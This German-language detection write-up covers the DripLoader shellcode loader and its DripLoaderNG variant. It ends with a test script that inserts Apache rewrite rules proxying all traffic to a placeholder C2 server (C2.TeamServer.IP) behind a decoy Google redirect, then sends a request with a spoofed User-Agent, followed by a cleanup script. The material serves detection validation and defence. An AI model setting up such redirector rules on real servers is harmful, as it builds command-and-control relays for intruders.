DripLoader-Malware: Shellcode-Ausführung und Verteidigungsevasion

Zusammenfassung

Der Artikel untersucht DripLoader, einen Shellcode-Loader, der Speicher zuweist, Shellcode hineinschreibt, die Seitenberechtigungen auf ausführbar umschaltet und ihn dann ausführt. Er behandelt, wie der Loader über einen HTTPS-Redirector geliefert wird, der vom Havoc C2-Framework unterstützt wird, und wie sein Code mit Komprimierung und indirekten Syscalls verschleiert werden kann. Der Beitrag stellt auch eine verbesserte Variante, DripLoaderNG, vor, die auf .node Sideloading und zusätzlichen Umgehungstricks basiert, zusammen mit praktischen Erkennungshinweisen und Speicheranalysetools.

Untersuchung

Die Untersuchung beschreibt eine Laborumgebung, in der Havoc komprimierten Shellcode über einen maßgeschneiderten Apache-Redirector sendet. Der Loader reserviert 64 KB Regionen, belegt 4 KB Seiten, ändert Schutzeinstellungen und führt die Nutzlast aus. DripLoaderNG führt indirekte Syscalls und .node-Modul Sideloading ein, das auf die Slack Electron-Anwendung abzielt. Die Erkennung wird mit Tools wie Moneta, PE-sieve und unterstützenden KQL-Abfragen gezeigt.

Minderung

Zu den Minderungsmaßnahmen gehören die Überwachung verdächtiger HTTPS-Weiterleitungen, das Erkennen gefälschter User-Agent-Strings, das Markieren seltener .node-Dateien und die Nutzung von EDR-Funktionen, um das Verhalten indirekter Syscalls zu identifizieren. Weitere Empfehlungen beinhalten das Anpassen von Sliver/Donut-Konfigurationen zur Reduzierung der AMSI-Manipulation und das Begrenzen der Ausführung unsignierter nativer Module.

Antwort

Wenn Aktivität erkannt wird, isolieren Sie den betroffenen Endpunkt, stoppen Sie den störenden Prozess, erfassen Sie Speicherauszüge und inspizieren Sie den injizierten Shellcode. Blockieren Sie die C2-Domain oder -IP, setzen Sie exponierte Anmeldeinformationen zurück und setzen Sie Abwehrregeln für die spezifischen User-Agent- und .node-Dateiindikatoren um. Verfolgen Sie mit einer forensischen Analyse und aktualisieren Sie den Erkennungsinhalt, um beobachtete indirekte Syscall-Muster abzudecken.

Simulation Ausführung

Voraussetzung: Die Telemetrie- & Baseline-Vorprüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Bedrohungstechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.

• Angriffserzählung & Befehle:
  Ein Betreiber der bösartigen Infrastruktur bereitet den Opfer-Webserver darauf vor, als Vermittler zum C2-Server zu fungieren. Sie fügen zwei RewriteRule Direktiven in die Apache-virtueller Host-Konfiguration ein: eine, die allen eingehenden Verkehr zu https://C2.TeamServer.IP:443 ([P] weiterleitet) und eine zweite, die jede Anfrage an eine harmlose Google-URL umleitet ([L,R=302]). Nach dem Neustart von Apache gibt der Angreifer ein manipuliertes HTTP-Anfrage mit genau dem gefälschten User-Agent-String heraus, der in der Sigma-Regel definiert ist. Apache verarbeitet die Anfrage, protokolliert den User-Agent und die Rewrite-Engine verzeichnet die Weiterleitungsaktion, wodurch beide Erkennungsbedingungen erfüllt werden.

• Regressionstest-Skript:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # DripLoader-Erkennung Validierungsskript
  # -------------------------------------------------
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  # 1. Aktuelle Konfiguration sichern
  sudo cp "$APACHE_CONF" "$BACKUP_CONF"
  # 2. Bösartige Rewrite-Regeln einfügen
  sudo bash -c "cat >> $APACHE_CONF <<'EOF'
  # BEGIN DripLoader Testregeln
  RewriteEngine On
  RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
  RewriteRule ^.*$ "https://www.google.com" [L,R=302]
  # END DripLoader Testregeln
  EOF"
  # 3. Apache neu laden, um Änderungen zu übernehmen
  sudo systemctl reload apache2
  # 4. Bösartige Anfrage mit dem genau gefälschten User-Agent
  curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/
  echo "Bösartige Anfrage gesendet. SIEM auf Erkennungsalarm überprüfen."

• Bereinigung Befehle:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # DripLoader-Erkennung Bereinigung
  # -------------------------------------------------
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  # Originalkonfiguration wiederherstellen
  if [[ -f "$BACKUP_CONF" ]]; then
      sudo cp "$BACKUP_CONF" "$APACHE_CONF"
      sudo systemctl reload apache2
      echo "Originale Apache-Konfiguration wiederhergestellt."
  else
      echo "Sicherung nicht gefunden; möglicherweise manuelle Bereinigung erforderlich."
  fi